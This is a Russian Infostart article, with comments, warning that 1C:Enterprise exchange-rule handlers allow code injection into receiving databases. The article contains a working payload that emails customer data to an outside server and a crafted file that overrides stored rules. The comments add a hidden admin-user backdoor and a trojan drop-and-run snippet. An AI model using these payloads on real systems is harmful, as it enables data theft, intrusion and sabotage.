Темная сторона обмена по правилам

Публикация № 320439

Администрирование - Информационная безопасность

обмен правила обмена конвертация выгрузка загрузка безопасность утечка взлом

38
Правила обмена (конвертации) используются в обменах данными повсеместно. Однако за удобство и простоту согласования разных конфигураций приходится платить потенциальной угрозой безопасности: возможностью выполнить в принимающей базе произвольный код на языке 1С.

Как известно, правила конвертации содержат обработчики различных событий обмена: перед началом загрузки, при загрузке объекта и т.п. В версиях для платформы 7.7 код этих обработчиков прописывался в обработке обмена. Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить", и, вместе с ней, возможность размещать код обработчиков непосредственно в тексте правил. А при загрузке данных правила обмена берутся из самого файла обмена (для конфигураций на БСП это не совсем так, но о них позже). И ни платформа, ни типовые конфигурации от 1С не проводят никакой проверки этих правил, кроме валидации на соответствие стандарту XML.

Проблема настолько очевидна, что и говорить-то, казалось бы, не о чем. Однако, как выяснилось, далеко не все программисты и администраторы осознают наличие бреши в безопасности, которую может создать обмен данными.

Давайте рассмотрим для примера торговую компанию со следующей организацией инфраструктуры информационных баз:

 Схема обменов

Менеджеры по закупкам и оптовым продажам работают в управлении торговлей в офисе. Также есть небольшой розничный магазин, в котором установлена базовая 1С:Розница.

Допустим, недобросовестный продавец в магазине решил за некоторое вознаграждение "слить" базу конкурентам. Какую информацию они смогут получить? Очевидно, обороты по магазину, график поставок, цены... Неприятно, но не смертельно, особенно если основной оборот компании идёт по опту.

Самое противное в этой ситуации то, что злоумышленнику станут доступны параметры выполнения обмена: адрес электронной почты для обмена и коды узлов обмена. И ничто не мешает им подменить файл выгрузки на что-нибудь такое:

<ФайлОбмена>
	<ПравилаОбмена>
		<ПослеЗагрузкиДанных>
			//тут вредоносный код
		</ПослеЗагрузкиДанных>
	</ПравилаОбмена>
	<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
</ФайлОбмена>

И при загрузке код обработчика будет выполнен, причём выполнен чаще всего в привилегированном режиме, т.е. полностью игнорируя все ограничения доступа к данным.

Что может быть в этом обработчике? Да что угодно, например

	ВремФайл = ПолучитьИмяВременногоФайла("txt");
	Запрос = Новый Запрос("Выбрать * Из Справочник.Контрагенты");
	ЗначениеВФайл(ВремФайл, Запрос.Выполнить());
	Профиль = Новый ИнтернетПочтовыйПрофиль;
	Профиль.АдресСервераPOP3 = "pop.somemail.ru";
	Профиль.АдресСервераSMTP = "smtp.somemail.ru";
	Профиль.Пароль           = "123456";
	Профиль.Пользователь     = "zloyhacker";
	Профиль.ИспользоватьSSLSMTP = Истина;
	Профиль.ПарольSMTP       = Профиль.Пароль;
	Профиль.ПользовательSMTP = Профиль.Пользователь;
	Сообщение = Новый ИнтернетПочтовоеСообщение;
	Сообщение.Получатели.Добавить("exchange@corpmail.ru");
	Сообщение.Вложения.Добавить(ВремФайл, "Контрагенты");
	Сообщение.Отправитель = "zloyhacker@somemail.ru";
	Почта = Новый ИнтернетПочта;
	Почта.Подключиться(Профиль);
	Почта.Послать(Сообщение);
	Почта.Отключиться();

И клиентская база из управления торговлей благополучно отправится к конкурентам, когда файл обмена будет принят. Аналогичным образом могут утечь и контакты поставщиков и закупочные цены, и вообще всё, что может представлять коммерческий интерес.

Кроме того, в справочнике НастройкиОбменаДанными хранятся правила для обмена с бухгалтерией, и, в случае подмены хранилища значений с правилами на аналогичные приведённым выше, много интересного может утечь и из ИБ бухгалтерии. Персональные данные сотрудников, например. А если вспомнить, что данные могут не только читаться, но и меняться... В общем, всё может стать весьма печально.

Это то, что касается типовых конфигураций на обычных формах. С конфигурациями на БСП всё несколько иначе: в подсистеме "Обмен данными" правила обмена при загрузке берутся не из файла обмена, а из регистра сведений "ПравилаДляОбменаДанными", в котором хранятся как правила для выгрузки, так и для загрузки данных. Казалось бы, проблемы больше нет, но не так всё радужно, как хотелось бы.

Если в регистр записаны пустые правила

<ПравилаОбмена>
	<ВерсияФормата>2.01</ВерсияФормата>
</ПравилаОбмена>

то при загрузке они по-прежнему будут считываться из файла обмена.

Однако, при настройке обменов БСП в обязательном порядке требует указания правил загрузки и без них не сохраняет настройку обмена. Как же они могут оказаться пустыми? Да очень просто: вспомним, что никаких проверок на соответствие данных в файле ни плану обмена, ни правилам не производится. Соотвественно, в файле могут содержаться вообще любые данные, в том числе и запись регистра сведений "ПравилаДляОбменаДанными". И, если хотя бы один раз загрузить файл обмена такого вида:

<?xml version="1.0" encoding="UTF-8"?>
<ФайлОбмена>
	<ПравилаОбмена>
		<ПослеЗагрузкиДанных>ЧтениеСообщения = Новый Структура(ЧтениеСообщения);ЧтениеСообщения.НомерСообщения = ЧтениеСообщения.ОтправительОбъект.НомерПринятого;ЧтениеСообщения = Новый ФиксированнаяСтруктура(ЧтениеСообщения)</ПослеЗагрузкиДанных>
	</ПравилаОбмена>
	<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
<НаборЗаписейРегистра Тип="РегистрСведенийНаборЗаписей.ПравилаДляОбменаДанными">
	<Отбор>
		<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
			<Значение>ПравилаКонвертацииОбъектов</Значение>
		</Свойство>
		<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
			<Значение>ОбменУправлениеТорговлейРозница</Значение>
		</Свойство>
	</Отбор>
	<СтрокиНабораЗаписей>
<Объект Тип="РегистрСведенийЗапись.ПравилаДляОбменаДанными">
	<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
		<Значение>ПравилаКонвертацииОбъектов</Значение>
	</Свойство>
	<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
		<Значение>ОбменУправлениеТорговлейРозница</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗагружены" Тип="Булево">
		<Значение>true</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗачитанные" Тип="ХранилищеЗначения">
		<Значение>#тут сериазованная в BASE64 структура правил выгрузки из данной ИБ</Значение>
	</Свойство>
	<Свойство Имя="ПравилаЗачитанныеКорреспондента" Тип="ХранилищеЗначения">
		<Значение>#тут сериазованная в BASE64 структура с пустыми правилами</Значение>
	</Свойство>
</Объект>
	</СтрокиНабораЗаписей>
</НаборЗаписейРегистра>

</ФайлОбмена>

при всех последующих загрузках правила обмена будут браться из файла и все беды, описанные для классических конфигураций проявятся во всей полноте и здесь.


Будьте внимательны и следите за безопасностью обменов.

38

Специальные предложения

Комментарии
Избранное Подписка Сортировка: Древо
1. baton_pk 393 16.03.15 19:18 Сейчас в теме
Есть такая брешь :)
Пока мы её на себе не ощутили, но чувствую, что можем - есть умелые ребята в магазинах :)
Пока что единственное, что придумал, - подписывать закрытым ключом ту часть правил, которая сохраняется в файл выгрузки, и при получении пакета сравнивать подпись.
2. vano-ekt 526 16.03.15 19:34 Сейчас в теме
и для взлома достаточно будет доступа к фтп, а реквизиты доступа, как правило лежат в справочнике Настройки обмена данными. При этом обмен настроен под одним фтп пользователем с настройкой выгрузки в разные каталоги (у кого-то не так? :-) ) Сливаем базу одного филиала, и получаем доступ ко всем :)
baton_pk; +1 Ответить
3. CheBurator 3400 16.03.15 22:17 Сейчас в теме
Чтото у мння стойкое ощущение что стото подобное я уже чттал
Откуда содрано?
VasMart; Yashazz; EliasShy; Yimaida; baton_pk; +5 Ответить
4. baton_pk 393 16.03.15 22:22 Сейчас в теме
(3) CheBurator,
было-было что-то такое на Инфостарте. Сам на днях пытался вспомнить и найти, а тут вот это подвернулось :)
5. saiten 226 16.03.15 22:26 Сейчас в теме
(3) Перед тем как писать поиском прошёлся - не находил ничего. Мож, конечно, искал плохо. Тема-то на поверхности лежит, сам удивился что нету инфы.
6. Yimaida 35 16.03.15 22:52 Сейчас в теме
(5) давно такое в инете проскакивало (ссылок не дам, т.к. не записывал). Есть такое и в курсе по конвертации от Гилева и Насипова. Как вы думаете почему в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига? это все идет развитие безопасности обменов. Тема хоть и не новая, но напоминание лишним не будет, это как лишний раз сделать бэкап - не помешает.
7. Yimaida 35 16.03.15 22:58 Сейчас в теме
(6) в догонку. не весь код при обменах выполняется в привилегированном режиме. Если допилить логику при записи объектов, то можно отлавливать и обмены.
Если НЕ ЭтоГруппа И НЕ ОбменДанными.Загрузка Тогда...

8. saiten 226 16.03.15 23:01 Сейчас в теме
(6)
в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига
В новых - это в каких? В бухии 3.0.38 всё ровно так как в статье написано - правила в регистре, обработчики в правилах. В конфу ничего не прошито жестко.
9. Yimaida 35 16.03.15 23:25 Сейчас в теме
10. saiten 226 16.03.15 23:34 Сейчас в теме
(9) Сильно подозреваю, что это для модели сервиса, т.к. сегодня перед тем как опубликовать глянул в последний релиз бухии на предмет не поменялось ли чего - код чтения правил из файла был в наличии, про обработчики не смотрел, правда. Завтра постараюсь подробнее глянуть на предмет того что это и для чего.
15. saiten 226 17.03.15 09:30 Сейчас в теме
(9) Однако, я ошибся - не для работы в модели сервиса. Вот что написано в самом модуле одной из этих обработок:
////////////////////////////////////////////////////////////////////////////////
//
// Данный модуль содержит экспортные процедуры обработчиков событий конвертации
// и предназначен для отладки правил обмена.
// После отладки рекомендуется внести соответствующие исправления обработчиков
// в базе «Конвертация данных 2.0» и заново сформировать файл правил.
//
////////////////////////////////////////////////////////////­////////////////////
33. cool.vlad4 45 30.03.15 18:03 Сейчас в теме
(3) Yashazz создавал топик несколько лет назад, где спрашивал как выполнить код на клиенте. я предложил вариант с выгрузкой.(нашел вроде http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 ) а потом спустя некоторое время он даже публикацию вроде делал. хотя могу тут ошибаться.
11. AlX0id 17.03.15 00:00 Сейчас в теме
а тупо паковать файлы обмена с паролем - не вариант?
16. saiten 226 17.03.15 09:36 Сейчас в теме
(11)
а тупо паковать файлы обмена с паролем - не вариант?
Один из. Но это всё же относится к защите транспортного канала. Т.е. при наличии до глубины души обиженного размером премии продавца и его друга-кулхацкера, всё необходимое, чтобы устроить в центральной базе локальный армагеддец, может формироваться в самой 1С-ке и отдаваться на вход шифрующего скрипта уже с бомбой внутри.
20. AlX0id 17.03.15 10:48 Сейчас в теме
(16) ну как бы тут уже необходимо наличие "кулхацкера", который сведущ в структуре базы предприятия. А это уже инсайдинг, от которого техническими средствами защититься крайне проблемно. Ежели так, то у того же кулхацкера есть и значительно проще пути по сливу информации..
22. saiten 226 17.03.15 10:57 Сейчас в теме
(20)
который сведущ в структуре базы предприятия
Совсем необязательно. Структура базы, как правило, в достаточной степени описывается правилами выгрузки в эту базу, остальное выясняется несколькими последовательными атаками. По-сути, это инсайд, да. Но не на центр инфраструктуры, а "скраю", так сказать. Там много сценариев возможно, на самом деле.
23. baton_pk 393 17.03.15 11:04 Сейчас в теме
(20) AlX0id,
Для этого не обязателен прямо кулъ-хацкер :)
У нас среди продавцов в магазинах вдруг оказались бывшие одинэсники :):) Потому все откровенно явные дыры пришлось быстренько заткнуть после первых же случаев.
24. vasyak319 132 17.03.15 14:40 Сейчас в теме
(23) baton_pk, ИМХО, если товарисч, побывав одинэсником, предпочитает зарабатывать продавцом в магазине, то вреда от него, как программиста, на много порядков больше, чем от него же, как вредителя. Тут как в том анекдоте про фашиста и партизана: "Вас ист дас? "Гомельспичпром"? Тафай-тафай, потшигай."
12. DrAku1a 1301 17.03.15 02:52 Сейчас в теме
Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить"

А разве в 7.7 не было что-то типа "Вычислить"?
13. monkbest 103 17.03.15 08:10 Сейчас в теме
(12) DrAku1a, сама команда была и в 7.7, только в коде универсальной XML загрузки её никто не писал, а все нужные процедуры дописывали в код обработки. Это было безопаснее, но лень победила, не плодить же обработки под каждые правила обмена:)
17. saiten 226 17.03.15 09:40 Сейчас в теме
(13)
сама команда была и в 7.7

Это было безопаснее, но лень победила

Может и была, честно - не помню. Однако, функция "Вычислить" есть и в 8.х, и решает она несколько другие задачи. Выполнить последовательно несколько операторов, разделенных ";" в ней не получится. Так что, думаю, в 7.7 всё же код выносился в обработку не для безопасности, а в силу ограничений платформы.
18. saiten 226 17.03.15 09:49 Сейчас в теме
(14)Ага, смежная проблема с теми же корнями. Кстати, та тема 2013 года ещё, и уже там в комментах пишут, что баян. Дыра известна и понятна. Только воз не особо двигается, как говорится.
19. vasyak319 132 17.03.15 10:41 Сейчас в теме
(18) воз не особо двигается, потому что эта возможность хоть и реальна, но всё равно из разряда шансов получить по голове метеоритом. Люди, которые способны это провернуть и "обиженные размером премии продавцы" это очень-очень разные люди, так что даже в том маловероятном случае, что кто-то попытается, кончится это скорее всего сообщением, типа: "Какая-то фигня при загрузке файла обмена".
21. saiten 226 17.03.15 10:52 Сейчас в теме
(19) Это называется "авось пронесёт". Вполне оправданный подход, если потенциальный ущерб меньше затрат на организацию защиты.
25. ivanov660 1627 17.03.15 18:08 Сейчас в теме
Интересно статья автора появилась на основе практики?


26. saiten 226 18.03.15 10:09 Сейчас в теме
(25) Нет, реально сталкиваться не доводилось. Сугубо академический интерес, так сказать.
27. Stim213 367 23.03.15 09:50 Сейчас в теме
боян
http://infostart.ru/public/182849/
+ и у меня все проще)

(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 --) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = "Хакер"; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)
30. saiten 226 23.03.15 10:47 Сейчас в теме
(27) В УТ 11.1 проверяли? Правила обмена в них берутся из регистра, а не из файла, об этом есть упоминание в статье. А в остальном - да, такой вариант тоже может иметь место. Суть в общем-то статьи в том, что при построении защиты недостаточно прорабатывается обмен данными с незащищенными узлами: защищается центральный сервер, защищаются каналы связи, но не сами передаваемые данные. И с переходом на БСП ситуация не особо улучшилась. Согласитесь, ваша статья всё же несколько о другом. Хотя корни проблемы общие, согласен.
28. Stim213 367 23.03.15 09:59 Сейчас в теме
+ продавец не обязательно должен быть одинесником.
суть проста- обиженный продавец хочет продать базу конкурентам. а то и просто навредить.
продавец работает на точке.
что он делает - копирует вечерний файл выгрузки на флешку. ищет программиста, который делает из файла бомбу - либо как в сабже отправляются данные базы на мейл, либо очищаются какие-то важные данные, либо создается прямой доступ к базе. в файле можно даже прописать создание пользователя с полными правами, пакетный запуск базы под этим пользователем в конфигураторе с выгрузкой(предварительно установив блокировку соединий и ждем в цикле пока все не выйдут) и отправкой файла выгрузки куда-нить на файлообменник или на почту.

29. Stim213 367 23.03.15 10:02 Сейчас в теме
+ пакостных вариантов - куча.
самый мерзкий - бомба замедленного действия. небольшие изменения, что на протяжении пары недель будут незаметны, а когда спохватятся - окажется, что все бекапы "заражены" этими изменениями, а достоверные данные - только на бумаге.

например, в закупках/продажах рандомно изменять цены на пару копеек, подменять емейлы и номера телефонов контрагентов и пр. пр
31. asirius 105 25.03.15 18:41 Сейчас в теме
Этой дыркой еще в 2009 году пользовался
<ПослеЗагрузкиПравилОбмена>
...
УстановитьПривилегированныйРежим(Истина);
ДвоичныеДанные = BASE64Значение("....");
ДвоичныеДанные.Записать("Троян.exe");
ВыполнитьКомандуСистемы("Троян.exe");
... и понеслась...

32. saiten 226 26.03.15 15:52 Сейчас в теме
(31) Ну, под линуксом такой беспредел не проканает, конечно. А так, да. Как пользоваться дырой понятно; как её закрыть, в общем-то тоже. Непонятно, по крайней мере мне, почему на эту проблему поголовно забивается болт.
34. igor_ek_ur 04.04.15 21:10 Сейчас в теме
Не хочется расстраивать автора, но если говорить о типовом обмене на базе БСП 2.2 последних версий, то он сделан таким образом, что правила конвертации объектов источника в приемнике берутся не из файла обмена (хоть они там и есть), а из правил, зашитых в конфигурации. Можно включить режим обмена, когда, когда будут выполняться обработчики из правил, но речь не об этом сейчас. Все о чем вы написали справедливо для случаев использования настроенных правил (БСП2.2), либо обменов по более старым технологиям, либо самописных обменов. В типовых конфигурациях этой проблемы быть не должно. Теоретически... Хотя, если у организации появляется свой программист 1с, то ничего типового для такой организации больше не остается.
35. saiten 226 04.04.15 23:43 Сейчас в теме
(34) Если когда-нибудь это будет так - я не расстроюсь, а только порадуюсь :) Может быть, в последних версиях БСП что-то и поменялось, но что-то верится мне с трудом. По крайней мере, для актуальной на данный момент версии бухгалтерии проблема всё ещё в наличии.
36. MaxS 1730 14.01.16 12:38 Сейчас в теме
(35) Чтобы обсуждение не повисло в неопределенности, добавлю информацию.
В последних БСП эта проблема решилась тем, что в центральной базе хранятся правила обмена в обе стороны. И когда из периферии приходят данные, то обработчики берутся из центральной базы.
Обнаружилось это опытным путем при отладке обмена. Изменения в правилах выгрузки игнорировались принимающей базой до тех пор, пока не поменял их на стороне приемника.

А я пока в поисках как в старой УТ 10.3 подменить файл обмена перед началом его загрузки.
Научился подменять файл выгрузки правкой правил обмена. А с загрузкой пока ищу способ.
37. saiten 226 15.01.16 13:44 Сейчас в теме
(36)Конкретно в последних версиях БСП не смотрел, но по состоянию на апрель 2015 ситуация была следующая: правила обмена в обе стороны хранятся в регистре ПравилаДляОбменаДанными, однако, если прибить записи этого регистра, то правила берутся из файла. Убить эти записи можно, например, приняв файл обмена определенного вида.
Как сейчас дела обстоят дела в этом вопросе не знаю, не мониторил. Но сильно сомневаюсь, что что-либо изменилось.
Оставьте свое сообщение

См. также

Объединение организаций в ЗУП при реорганизации с переносом данных из ЗУП 2.5 в ЗУП 3.1 9

Статья Программист Нет файла v8 v8::СПР ЗУП2.5 ЗУП3.x БУ Бесплатно (free) Зарплата Управление персоналом (HRM) Перенос данных из 1C8 в 1C8

В этой статье описан опыт объединения 2-х организаций при реорганизации в ЗУП 3.1 с переносом данных одной организации из ЗУП 2.5 (релизы баз более или менее свежие, но не самые последние на момент перехода, примерно двух- и трехмесячной давности). За основу было взято решение из этой статьи https://infostart.ru/public/833658/, в которой описан алгоритм решения задачи, за что автору статьи огромная благодарность! Здесь же даны некоторые комментарии и пояснения к алгоритму переноса и объединения, описаны выявленные мною ошибки. Также приведена небольшая инструкция по использованию обработки ирПодборИОбработкаОбъектовБД — она будет полезна для пользователей — «не программистов», впервые работающих в не управляемых формах.

09.10.2019    899    Neti    0       

EnterpriseData: простой способ защиты данных в базе получателя при одностороннем обмене 20

Статья Программист Нет файла v8 1cv8.cf Бесплатно (free) Перенос данных из 1C8 в 1C8

Очень часто бухгалтеры ругаются, когда уже отраженные документы в бухгалтерском учета меняются сотрудниками.

04.10.2019    1783    handscenter    11       

Типичные ошибки при разработке прав доступа 101

Статья Программист Нет файла v8 v8::Права Бесплатно (free) Роли и права

Рассмотрим самые распространенные ошибки в разработке прав доступа.

02.10.2019    5641    YPermitin    39       

Конвертация Данных. Нюансы использования конструкции "НеЗамещатьОбъект = Истина" в обработчике события "ПриЗагрузке" 28

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

У конвертации данных есть «особенности», которые «пьют кровь» программистов. Эта статья про очередную обнаруженную «особенность».

10.09.2019    2040    ivanek    21       

Обмен данными через Web Сервисы 81

Статья Программист Нет файла v8 1cv8.cf Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

Ознакомительная статья о том, как загружать\выгружать данные с одной базы в другую, используя Web Сервисы.

02.09.2019    4244    user5300    29       

Выгрузка и загрузка документов с движениями 13

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

Возникла задача перенести документы с движениями, но подменив организацию. Наткнулся на проблему с выгрузкой движений, опишу свой опыт.

02.09.2019    1456    human_new    7       

EnterpriseData – часть 3. Загрузка данных, идентификация объектов 61

Статья Программист Нет файла v8 v8::УФ 1cv8.cf ОС Бесплатно (free) Практика программирования Математика и алгоритмы Перенос данных из 1C8 в 1C8 Разработка

Основные этапы загрузки данных через EnterpriseData. Идентификация объектов загружаемых полностью и по ссылке. Приведены схемы процессов загрузки данных. Описание основных операций и обработчиков. Перечень процедур БСП, используемых при загрузке данных, структура «КомпонентыОбмена».

22.08.2019    3437    ids79    7       

Перенос дополнительных реквизитов в Конвертации данных 2.0 17

Статья Программист Нет файла v8 КД Россия УУ Бесплатно (free) Перенос данных из 1C8 в 1C8

Пример написания правил обмена (КД 2.0) для переноса дополнительных реквизитов справочника "Номенклатура", в том числе перенос ПВХ с разными типами значений.

13.08.2019    1970    vikulinamari    5       

Назад в прошлое! Небольшие заметки по администрированию пользователей в УПП 71

Статья Системный администратор Программист Стажер Нет файла v8 УПП1 Бесплатно (free) Роли и права

Небольшие заметки по функционалу "Администрирование пользователей" конфигурации "Управление производственным предприятием" версии 1.3. Затрагиваются такие темы как: роли, профили доступа, дополнительные права, настройки пользователей и ограничения доступа на уровне записей (RLS).

06.06.2019    6344    YPermitin    16       

Подсистема БСП «Управление доступом», основные объекты и регистры 106

Статья Программист Нет файла v8 v8::УФ v8::Права 1cv8.cf Бесплатно (free) БСП (Библиотека стандартных подсистем) Роли и права

Основные принципы работы подсистемы «Управление доступом» из состава БСП. Виды доступа, ограничение доступа на уровне записей. Описание основных объектов и регистров, используемых подсистемой.

23.05.2019    8139    ids79    8       

Полезные приемы при работе с Конвертацией данных 2.1. Логирование, интерактивное управление, дозаполнение и постпроведение документов 43

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

Некоторые полезные приемы для КД 2.1, которые могут пригодиться как при доработке типовых правил, так и самописных.

22.04.2019    4127    maks_20    9       

Как прикрутить ГУИД к регистру сведений 23

Статья Программист Нет файла v8 Бесплатно (free) Практика программирования Перенос данных из 1C8 в 1C8 Разработка

... и немного теории обмена данными. В частности, разберем боль всех, кто пишет небанальные обмены данными: как набору записей регистра сведений назначить гуид и далее использовать его в обмене для идентификации этого набора.

16.04.2019    7446    m-rv    16       

Работа с ComОбъектом 1С 8.2; 8.3 100

Статья Программист Нет файла v8 1cv8.cf Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

Определение типов и значений через COM соединение между конфигурациями.

15.04.2019    10621    vik070777    12       

RabbitMQ + Конвертация Данных 3.0 179

Статья Системный администратор Программист Бизнес-аналитик Руководитель проекта Нет файла v8 КД Бесплатно (free) Внешние источники данных Обмен через XML Интеграция Перенос данных из 1C8 в 1C8

Предлагаем ознакомиться с хронологией проекта, проследить ход мыслей от снятия потребностей до реализации, и решить, удалось ли проектной команде найти оптимальное архитектурное решение под конкретный кейс заказчика путем совмещения двух известных, но до сих пор не пересекавшихся технологий, и получилось ли сложить плюсы и устранить минусы каждой из них.

21.03.2019    13871    barelpro    82       

Возможности типовых шаблонов ограничения доступа на уровне записей (RLS) 163

Статья Программист Нет файла v8 v8::Права Бесплатно (free) Практика программирования БСП (Библиотека стандартных подсистем) Роли и права

Краткий обзор применения типовых шаблонов ограничения доступа на уровне записей в конфигурациях, созданных на базе БСП: #ПоЗначениям, #ПоНаборамЗначений, #ПоЗначениямРасширенный, #ПоЗначениямИНаборамРасширенный

03.02.2019    15652    ids79    9       

Конвертация данных 2.1: поиск по условию 18

Статья Программист Нет файла v8 КД ERP2 Windows Бесплатно (free) Перенос данных из 1C8 в 1C8

Задача. При обмене документами "Реализация товаров и услуг", поиск контрагента осуществлять по полям "ИНН", "КПП". Если вид договора с комиссионером, то поиск осуществлять по полям "ИНН", "КПП", "Наименование".

15.01.2019    5791    wowik    13       

Использование утилиты ring для выяснения данных о программных лицензиях 33

Статья Системный администратор Программист Нет файла v8 Windows Бесплатно (free) Информационная безопасность

Использование утилиты ring для управления программными лицензиями без ее установки на компьютер пользователя.

22.12.2018    5611    Vovan58    20       

Заметки КД 2.1: Как передать файл, динамически создаваемый в источнике, в справочник присоединенных файлов приемника 25

Статья Программист Нет файла v8 КД Россия Windows Бесплатно (free) Перенос данных из 1C8 в 1C8

В БП 3.0 есть документ "Книга Продаж Для Передачи В ЭлектронномВиде" из которого выгружается XML файл. Задача: Нужно из БП 3.0 посредством правил обмена, вместе с документом книга продаж сформировать и перенести XML файл в базу приемник. В приемнике файл будет храниться в справочнике "Книга Продаж Присоединенные Файлы".

10.10.2018    5356    Viktor_Ermakov    6       

Планы обмена 1С 158

Статья Программист Нет файла v8 Бесплатно (free) Перенос данных из 1C8 в 1C8

В статье - мастер-классе Дмитрий Жичкин рассказывает, для чего нужны планы обмена 1С и какие задачи они решают. Он подробно описывает физическую структуру планов обмена и механизмов регистрации изменений, рассматривает основные проблемы, возникающие при выгрузке изменений и предлагает методы их решения.

10.09.2018    30410    zhichkin    4       

Конвертация 2.0. Обмен данными между справочниками по сопоставлению артикулов с помощью регистра сведений (пример). 13

Статья Программист Нет файла v8 1cv8.cf Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

Пример обмена данными между справочниками по сопоставлению артикулов с помощью регистра сведений

27.08.2018    4458    Lyubogradov.P    0       

Конвертация 2.0. Перенос независимого справочника в подчиненный (пример). 9

Статья Программист Нет файла v8 КД Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

Пример переноса независимого справочника в подчиненный с помощью Конвертации 2.0.

15.08.2018    5549    Lyubogradov.P    6       

Конвертация 2.0. Перенос элементов и групп справочника, имеющих различный вид иерархии (пример). 12

Статья Программист Нет файла v8 КД Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

Пример переноса справочника, имеющего различный вид иерархии, с помощью Конвертации 2.0.

13.08.2018    5295    Lyubogradov.P    0       

Повышаем эффективность разработки правил обмена 124

Статья Программист Нет файла v8 КД ОС Бесплатно (free) Практика программирования Перенос данных из 1C8 в 1C8

Как повысить скорость и качество разработки правил обмена? Как вести групповую разработку правил обмена? Как облегчить сопровождение правил обмена после передачи в эксплуатацию? Об этом и многом другом вы можете узнать из этой статьи.

25.06.2018    19378    olegtymko    47       

hsИнтегратор - технология онлайнового обмена данными между базами на платформе 1С:Предприятие. Использование технологии в виде расширения, без изменения конфигураций баз данных, участвующих в обмене 33

Статья Программист Нет файла v8 v8::УФ 1cv8.cf Россия Бесплатно (free) Перенос данных из 1C8 в 1C8

hsИнтегратор : Простое в использовании решение, работает в качестве клиента и сервиса (в мобильном приложении – только клиента). Не обязательно требует внесения изменений в конфигурации интегрируемых баз данных. Маленький трафик обмена между клиентом и сервером, быстрая реакция на запросы со стороны клиента. Единый сервис для обмена данными различной структуры, механизмы для обеспечения безопасности.

25.06.2018    8664    12    hobi    8       

Обмен через универсальный формат. Пример нестандартной конвертации данных 82

Статья Программист Нет файла v8 УТ11 Россия Бесплатно (free) Обмен через XML Перенос данных из 1C8 в 1C8

В статье описан небольшой пример обмена данными через EnterpriseData без снятия конфигурации с поддержки. Тестовая площадка: Управление торговлей, редакция 11 (11.4.3.126), версия платформы 8.3.11

18.06.2018    22430    artkor    12       

Универсальный обмен между идентичными конфигурациями через REST интерфейс OData. Часть ІІІ: Регистры сведений 16

Статья Программист Нет файла v8 1cv8.cf Бесплатно (free) Перенос данных из 1C8 в 1C8

Часть III публикаций об универсальном обмен через REST интерфейс OData - обмен регистрами сведений

26.05.2018    6372    V.Stavinsky    3       

Универсальный обмен между идентичными конфигурациями через REST интерфейс OData. Часть ІІ: Документы 30

Статья Программист Нет файла v8 Бесплатно (free) Перенос данных из 1C8 в 1C8

Продолжение статьи об универсальном обмене между идентичными конфигурации через REST интерфейс OData (https://infostart.ru/public/829356/). В части второй разберем особенности обмена документами.

19.05.2018    7712    V.Stavinsky    5       

Универсальный обмен между идентичными конфигурациями через REST интерфейс OData. Часть І: Справочники 96

Статья Программист Нет файла v8 Бесплатно (free) Перенос данных из 1C8 в 1C8

Сейчас все чаще интеграции различных конфигураций проектируются через HTTP-сервисы - они и работают быстрее, и "войти" в режим отладки гораздо проще, тем самым обойдя "черный ящик" универсального обмена через xml, например. Более года назад я начал работать в компании, в которой разработчики работали с конфигурациями 1С в режиме совместимости еще 8.2.16 (менять режим совместимости в типичных базах мы не хотели) - а как Вы наверное знаете, если интересовались HTTP-сервисами в 1С, их использование в режиме совместимости 8.3.4 и ниже недопустимо - и здесь я уже не надеялся на разработку и использование HTTP-сервисов. Но позже меня заинтересовал такой "сервис" как REST интерфейс OData, так как его можно использовать не меняя режим совместимости конфигурации - именно он и стал для меня идеальным вариантом решения "нетривиальных" задач.

11.05.2018    16289    V.Stavinsky    11       

Как написать обмен с 50 поставщиками и не сойти с ума. Техника 20

Статья Программист Нет файла v8 1cv8.cf Бесплатно (free) Перенос данных из 1C8 в 1C8

О том как из обмена с одним идеальным поставщиком сделать обмены с 50 реальными поставщиками.

16.04.2018    6917    m-rv    1       

Конвертация данных. Произвольная иерархия справочника 11

Статья Программист Нет файла v8 КД Бесплатно (free) Перенос данных из 1C8 в 1C8

